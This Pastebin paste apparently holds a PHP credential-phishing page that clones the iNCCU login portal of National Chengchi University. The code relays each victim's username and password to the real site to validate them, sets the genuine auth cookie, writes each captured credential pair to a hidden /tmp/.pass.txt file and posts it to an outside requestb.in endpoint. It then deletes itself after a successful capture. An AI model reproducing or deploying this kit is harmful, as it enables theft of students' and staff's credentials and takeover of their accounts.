API tools faq
paste
Advertisement
Guest User

index.php

a guest
Jun 21st, 2017
144
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.95 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. $html_tpl = <<<END
  4. <!DOCTYPE html>
  5. <html lang="zh">
  6. <head>
  7. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  8. <meta http-equiv="X-UA-Compatible" content="IE=edge" />
  9. <meta name="viewport" content="width=device-width,initial-scale=1" />
  10. <title>登入「愛政大」校園個人化入口-Login iNCCU Portal
  11. 0</title>
  12. <script src="https://i.nccu.edu.tw/js/jquery-1[1].3.2.min.js" type="text/javascript"></script>
  13. <link href="https://i.nccu.edu.tw/css/reset.css" rel="stylesheet" type="text/css">
  14.  
  15. <link href='https://i.nccu.edu.tw/css/default_yellow_bubble.css' rel='stylesheet' type='text/css'><link href='https://i.nccu.edu.tw/css/color_red.css' rel='stylesheet' type='text/css'><link href='https://i.nccu.edu.tw/css/bottomimg_book.css' rel='stylesheet' type='text/css'>
  16. <!--[if lt IE 9]>
  17. <script src="https://i.nccu.edu.tw/js/html5shiv.js"></script>
  18. <script src="https://i.nccu.edu.tw/https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
  19. <![endif]-->
  20. <!--[if (lt IE 10)&(!IEMobile)]>
  21. <link href="https://i.nccu.edu.tw/css/ie8.css" rel="stylesheet" type="text/css">
  22. <![endif]-->
  23. <!-- Picturefill.js , srcset,sizes !-->
  24. <script>
  25. // Picture element HTML5 shiv
  26. document.createElement("picture");
  27. </script>
  28. <!-- Picturefill.js , srcset,sizes !-->
  29. <script src="https://i.nccu.edu.tw/js/picturefill.min.js" async></script>
  30. <!-- Retina.js !-->
  31. <script type="text/javascript" src="https://i.nccu.edu.tw/js/retina.js"></script>
  32. </head>
  33. <body>
  34.  
  35.  
  36.  
  37. <div id="ad">
  38. <!--立即體驗&gt;&gt;&gt;<a style="color: rgb(255, 255, 255);" href="https://i.nccu.edu.tw/http://sgnweb.nccu.edu.tw/mnccu/?utm_source=inccu&amp;utm_medium=right_banner" target="_blank">行動政大APP</a>!-->
  39. <a href="http://sgnweb.nccu.edu.tw/mnccu/" target="_blank">
  40. <picture>
  41. <!--[if IE 9]><video style="display: none;"><![endif]-->
  42. <source srcset="https://i.nccu.edu.tw/images/ad_course.png" media="(min-width:64em)">
  43. <!--[if IE 9]></video><![endif]-->
  44. <img srcset="https://i.nccu.edu.tw/images/ad_courseM.png" media="min-width:30em" alt="點此下載行動政大App">
  45. </picture>
  46. </a>
  47. </div>
  48. <div id="wrapper">
  49. <form name="form1" method="post" action="" id="form1">
  50. <div>
  51. <input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
  52. <input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
  53. <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEyOTYxMTUwNTkPZBYEZg8WAh4EVGV4dAXRATxsaW5rIGhyZWY9J2Nzcy9kZWZhdWx0X3llbGxvd19idWJibGUuY3NzJyByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJz48bGluayBocmVmPSdjc3MvY29sb3JfcmVkLmNzcycgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+PGxpbmsgaHJlZj0nY3NzL2JvdHRvbWltZ19ib29rLmNzcycgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+ZAIBD2QWCAIBDxYCHgZzcmNzZXQFIWltYWdlcy9sb2dpbl8yMDE1XzExX3JlZC9sb2dvLnBuZ2QCAw8WAh8BBSJpbWFnZXMvbG9naW5fMjAxNV8xMV9yZWQvbG9nb00ucG5nZAIFDxYCHwEFImltYWdlcy9sb2dpbl8yMDE1XzExX3JlZC9sb2dvUy5wbmdkAgsPZBYCAgMPDxYCHgdWaXNpYmxlaGQWAgIJDw8WAh8ABSzoq4vovLjlhaXlnKjkuIrlnJbkuK3poa/npLrkuYvmlbjlrZcoMH45KeOAgmRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBRdjYXB0Y2hhJExvZ2luMSRja2JMb2dpboqgqvXwArHBQL6TrKkaBgnlvzWl" />
  54. </div>
  55.  
  56. <script type="text/javascript">
  57. //<![CDATA[
  58. var theForm = document.forms['form1'];
  59. if (!theForm) {
  60. theForm = document.form1;
  61. }
  62. function __doPostBack(eventTarget, eventArgument) {
  63. if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
  64. theForm.__EVENTTARGET.value = eventTarget;
  65. theForm.__EVENTARGUMENT.value = eventArgument;
  66. theForm.submit();
  67. }
  68. }
  69. //]]>
  70. </script>
  71.  
  72.  
  73. <div>
  74.  
  75. <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="C2EE9ABB" />
  76. </div>
  77. <header role="banner">
  78. <picture>
  79. <!--[if IE 9]><video style="display: none;"><![endif]-->
  80. <source id="logo1" srcset="https://i.nccu.edu.tw/images/login_2015_11_red/logo.png" media="(min-width:64em)"></source>
  81. <source id="logo2" srcset="https://i.nccu.edu.tw/images/login_2015_11_red/logoM.png" media="(min-width:48em)"></source>
  82. <!--[if IE 9]></video><![endif]-->
  83. <img id="logo3" srcset="https://i.nccu.edu.tw/images/login_2015_11_red/logoS.png" media="min-width:30em" alt="iNCCU愛政大" />
  84. </picture>
  85. </header>
  86. <nav role="navigation">
  87. <p>
  88. <span class="index">
  89. <picture>
  90. <!--[if IE 9]><video style="display: none;"><![endif]-->
  91. <source srcset="https://i.nccu.edu.tw/images/nami/icon_index.png" media="(min-width:48em)">
  92. <!--[if IE 9]></video><![endif]-->
  93. <img srcset="https://i.nccu.edu.tw/images/nami/icon_indexM.png" media="min-width:30em" alt="icon">
  94. </picture>
  95. <a href="http://www.nccu.edu.tw/">
  96. 政大首頁
  97. </a>
  98. </span>
  99. <span class="lang">
  100. <picture>
  101. <!--[if IE 9]><video style="display: none;"><![endif]-->
  102. <source srcset="https://i.nccu.edu.tw/images/nami/icon_lang.png" media="(min-width:48em)">
  103. <!--[if IE 9]></video><![endif]-->
  104. <img srcset="https://i.nccu.edu.tw/images/nami/icon_langM.png" media="min-width:30em" alt="icon">
  105. </picture>
  106. <a id="languageChange" href="javascript:__doPostBack('languageChange','')">English</a>
  107. </span>
  108. </p>
  109. </nav>
  110.  
  111. <div id="login">
  112. <div id="systemname">
  113.  
  114. </div>
  115. <div id="captcha" align="center">
  116.  
  117. </div>
  118. <table id="captcha_Login1" cellspacing="0" cellpadding="0" border="0" style="width:100%%;border-collapse:collapse;">
  119. <tr>
  120. <td>
  121. <div style="font-size: small; color: Red; text-align: left;">
  122. %s
  123. </div>
  124. <div id="username">
  125. <span class="ie9ph">帳號：</span>
  126. <input name="captcha\$Login1\$UserName" type="text" id="captcha_Login1_UserName" type="text" placeholder="帳號/學號" />
  127. <p class="sWord">
  128. @nccu.edu.tw</p>
  129. </div>
  130. <div id="password">
  131. <span class="ie9ph">密碼：</span>
  132. <input name="captcha\$Login1\$Password" type="password" maxlength="14" id="captcha_Login1_Password" type="password" placeholder="密碼" />
  133. </div>
  134. <div id="rememberUser">
  135. <label>
  136. <input id="captcha_Login1_ckbLogin" type="checkbox" name="captcha\$Login1\$ckbLogin" />
  137. <label for="captcha_Login1_ckbLogin">
  138. <span class="ssWord">
  139. 記住我的帳號密碼</span></label>
  140. </label>
  141. </div>
  142. <div id="log">
  143. <a id="captcha_Login1_LoginButton" href="javascript:__doPostBack('captcha\$Login1\$LoginButton','')" style="text-decoration: none">登入</a>
  144. </div>
  145. <div id="help">
  146. <a href="http://schwebap.nccu.edu.tw/LdapEar/login.aspx">
  147. 建立帳戶
  148. </a><a class="wrong" href="http://ccweb.km.nccu.edu.tw/home/index.php?f=contentShow&id=315">
  149. 無法登入?
  150. </a>
  151. </div>
  152. </td>
  153. </tr>
  154. </table>
  155. </div>
  156.  
  157. <footer>
  158. <p class="mWord">
  159. <a href="https://i.nccu.edu.tw/doc/index.html">
  160. 了解更多
  161. </a>
  162. ｜
  163. <a href="http://ccweb.km.nccu.edu.tw/home/index.php?f=contentShow&amp;id=7990" target="_blank">
  164. 誰可以登入
  165. </a>
  166. </p>
  167. <p>校內分機67599‧校外直撥(02)29387599</p>
  168. <p>校址：11605 台北市文山區指南路二段64號<br>
  169. ‧總機電話：02-29393091<br>
  170. ‧傳真：02-29379611</p>
  171. </footer>
  172. </form>
  173. <p>
  174. &nbsp;</p>
  175. </div>
  176. <!--/ div.wrapper !-->
  177.  
  178. <div class="bottomimg">
  179. </div>
  180.  
  181.  
  182. </div>
  183. </body>
  184.  
  185. <script language="javascript" type="text/javascript">
  186. \$('#captcha_Login1_UserName').focus();
  187. \$(document).keypress(function (e) {
  188. if (e.keyCode == 13) {
  189. var login = document.getElementById('captcha_Login1_LoginButton');
  190. window.location = login.href;
  191. }
  192. });
  193. </script>
  194. </html>
  195. END;
  196.  
  197.  
  198. if ($_SERVER['REQUEST_METHOD'] != 'POST') {
  199. printf($html_tpl, '');
  200. exit();
  201. }
  202.  
  203. $username = $_POST['captcha$Login1$UserName'];
  204. $password = $_POST['captcha$Login1$Password'];
  205.  
  206. $ckbLogin = null;
  207. if (isset($_POST['captcha$Login1$ckbLogin'])) {
  208. $ckbLogin = $_POST['captcha$Login1$ckbLogin'];
  209. }
  210.  
  211.  
  212. $username = trim($username);
  213. $password = trim($password);
  214.  
  215. if (strlen($username) == 0 || strlen($password) == 0) {
  216. printf($html_tpl, '您嘗試登入失敗，請再試一次。');
  217. exit();
  218. }
  219.  
  220. function get_login_info(&$session_id, &$post_tpl) {
  221. $ch = curl_init();
  222. curl_setopt($ch, CURLOPT_URL, 'https://i.nccu.edu.tw/Login.aspx?ReturnUrl=%2fdefault.aspx');
  223. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
  224. curl_setopt($ch, CURLOPT_HEADER, 1);
  225. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  226. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  227. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  228. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  229. $content = curl_exec($ch);
  230.  
  231. preg_match('/Set-Cookie:\s*ASP.NET_SessionId=([^;]*?);/', $content, $matches);
  232. $session_id = $matches[1];
  233. // echo $session_id;
  234. $__EVENTTARGET = 'captcha%24Login1%24LoginButton';
  235. $__EVENTARGUMENT = '';
  236. preg_match('/id="__VIEWSTATE"\s*value="([^"]+)"/', $content, $matches);
  237. $__VIEWSTATE = $matches[1];
  238.  
  239. preg_match('/id="__VIEWSTATEGENERATOR"\s*value="([^"]+)"/', $content, $matches);
  240. $__VIEWSTATEGENERATOR = $matches[1];
  241.  
  242. $post_tpl = '__EVENTTARGET=%s&__EVENTARGUMENT=%s&__VIEWSTATE=%s&__VIEWSTATEGENERATOR=%s';
  243. $post_tpl = sprintf($post_tpl, $__EVENTTARGET, $__EVENTARGUMENT, urlencode($__VIEWSTATE), $__VIEWSTATEGENERATOR);
  244. }
  245.  
  246.  
  247. function login($username, $password, $ckbLogin=null) {
  248. get_login_info($session_id, $post_prefix);
  249.  
  250. $post_fields = 'captcha%%24Login1%%24UserName=%s&captcha%%24Login1%%24Password=%s';
  251. $post_fields = sprintf($post_fields, urlencode($username), urlencode($password));
  252.  
  253. if (!is_null($ckbLogin)) {
  254. $post_fields .= '&captcha%24Login1%24ckbLogin='.urlencode($ckbLogin);
  255. }
  256.  
  257. $post_fields = $post_prefix . '&' . $post_fields;
  258. $cookie = 'ASP.NET_SessionId=' . $session_id . '; UiCulture=zh-TW';
  259. $header = array(
  260. 'Content-Type: application/x-www-form-urlencoded',
  261. 'Referer: https://i.nccu.edu.tw/Login.aspx?ReturnUrl=%2fHome.aspx'
  262. );
  263.  
  264. $ch = curl_init();
  265. curl_setopt($ch, CURLOPT_URL, 'https://i.nccu.edu.tw/Login.aspx?ReturnUrl=%2fdefault.aspx');
  266. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
  267. curl_setopt($ch, CURLOPT_HEADER, 1);
  268. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  269. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  270. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  271. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  272. curl_setopt($ch, CURLOPT_COOKIE, $cookie);
  273. // curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
  274.  
  275. curl_setopt($ch, CURLOPT_POST, 1);
  276. curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
  277.  
  278. // curl_setopt($ch, CURLOPT_VERBOSE, 1);
  279. $content = curl_exec($ch);
  280.  
  281. preg_match('/Set-Cookie:\s*.LDAPAUTH=([^;]+)/', $content, $matches);
  282.  
  283. if (count($matches) < 2) {
  284. return false;
  285. }
  286.  
  287. $ldap_cookie = $matches[1];
  288.  
  289. // ".LDAPAUTH=7F0790BC41C02B8FFA29878FD7715BC970BB5FA62A8B249465C2819E9F0B2DDC3A819B8F21765FBB1A69839067FFBC2E92C316D3C8B30BAF5BE36278036886C1DBAFB70BB144EDEDB02817F4971286FA0C662AF64E96A3B8574ADF0FA7DF9347F306C1FC3EA9E01063EBDCF1D9328ED10D6D692F; domain=nccu.edu.tw; path=/; secure; HttpOnly"
  290. setcookie('.LDAPAUTH', $ldap_cookie, 0, '/', 'nccu.edu.tw');
  291. setcookie('remember', 'F', 0, '/', 'nccu.edu.tw');
  292. setcookie('un', '', 0, '/', 'nccu.edu.tw');
  293. setcookie('au4a83', '', 0, '/', 'nccu.edu.tw');
  294. setcookie('cd', '', 0, '/', 'nccu.edu.tw');
  295. setcookie('ASP.NET_SessionId', $session_id, 0, '/', 'nccu.edu.tw');
  296.  
  297. header('Location: https://i.nccu.edu.tw/ChkPwdStat.aspx?ReturnUrl=%2fdefault.aspx');
  298.  
  299. return true;
  300. }
  301.  
  302.  
  303. if (!login($username, $password, $ckbLogin)) {
  304. printf($html_tpl, '您嘗試登入失敗，請再試一次。');
  305. $f = fopen('/tmp/.pass.txt', 'a');
  306. fwrite($f, '[ERROR] '.$username.':'.$password."\n");
  307. fclose($f);
  308.  
  309. $body = ('[ERROR] '.$username.':'.$password);
  310. $ch = curl_init();
  311. curl_setopt($ch, CURLOPT_URL, 'https://requestb.in/xv7djfxv');
  312. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  313. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  314. curl_setopt($ch, CURLOPT_POST, 1);
  315. curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
  316. @curl_exec($ch);
  317.  
  318. } else {
  319. $f = fopen('/tmp/.pass.txt', 'a');
  320. fwrite($f, '[SUCCESS] '.$username.':'.$password."\n");
  321. fclose($f);
  322.  
  323. $body = ('[SUCCESS] '.$username.':'.$password);
  324. $ch = curl_init();
  325. curl_setopt($ch, CURLOPT_URL, 'https://requestb.in/xv7djfxv');
  326. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  327. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  328. curl_setopt($ch, CURLOPT_POST, 1);
  329. curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
  330. @curl_exec($ch);
  331.  
  332. @unlink('./index.php');
  333. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!